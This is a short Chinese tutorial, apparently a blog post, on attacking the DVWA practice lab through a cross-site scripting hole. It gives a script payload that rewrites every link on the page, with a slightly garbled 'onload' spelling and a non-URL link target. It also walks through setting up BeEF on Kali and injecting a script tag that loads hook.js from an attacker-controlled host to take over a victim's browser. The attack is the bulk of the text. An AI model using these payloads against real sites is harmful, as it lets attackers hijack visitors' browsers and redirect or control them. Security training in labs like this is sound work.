一、环境:DVWA
二、修改网页链接
1、点击下面的网址,访问的是不同的内容
![8381ef5fae2de9525b4d71584f98e8d6.png](https://img-blog.csdnimg.cn/img_convert/8381ef5fae2de9525b4d71584f98e8d6.png)
![15a5ed65f8fe1ea4cedb20a3855958bd.png](https://img-blog.csdnimg.cn/img_convert/15a5ed65f8fe1ea4cedb20a3855958bd.png)
![f7913f8d216e35f1d0643dffacae74e6.png](https://img-blog.csdnimg.cn/img_convert/f7913f8d216e35f1d0643dffacae74e6.png)
2、通过xss漏洞,修改这些网址都指向百度
window.onload:当窗口加载时,执行匿名函数
<script>
window.οnlοad=function(){
var link=document.getElementsByTagName("a");
for(j=0;j<link.length;j++){
link[j].href="百度一下,你就知道";
}
}
</script>
3、在漏洞处输入上面代码,提交
![581d7da6b78953b6ac9ece453f544abc.png](https://img-blog.csdnimg.cn/img_convert/581d7da6b78953b6ac9ece453f544abc.png)
4、点击这些网址,都是跳转到百度,查看审查元素
![228a4983da986f8a1f6c220de1abe57a.png](https://img-blog.csdnimg.cn/img_convert/228a4983da986f8a1f6c220de1abe57a.png)
三、生成恶意链接(kali攻击,win7被攻击)
1、kali启动beff-xss
2、启动apache服务:service apache2 start
3、cd /var/www/html
修改index.html
<script src="http://控制端ip:3000/hook.js"></script>
![d9ceedc842ea75557add6f9b4c4f3b48.png](https://img-blog.csdnimg.cn/img_convert/d9ceedc842ea75557add6f9b4c4f3b48.png)
4、在xss漏洞处,输入<script src="http://控制端ip:3000/hook.js"></script>,提交
![67a0cc8752043647ce5b6d16c643b1c0.png](https://img-blog.csdnimg.cn/img_convert/67a0cc8752043647ce5b6d16c643b1c0.png)
5、被控端上线
![ae3739c9b5e5e7eb415c7c99d7db604e.png](https://img-blog.csdnimg.cn/img_convert/ae3739c9b5e5e7eb415c7c99d7db604e.png)
禁止非法,后果自负
欢迎关注公众号:web安全工具库
![79b86809b58696a487d61814086e90a0.png](https://img-blog.csdnimg.cn/img_convert/79b86809b58696a487d61814086e90a0.png)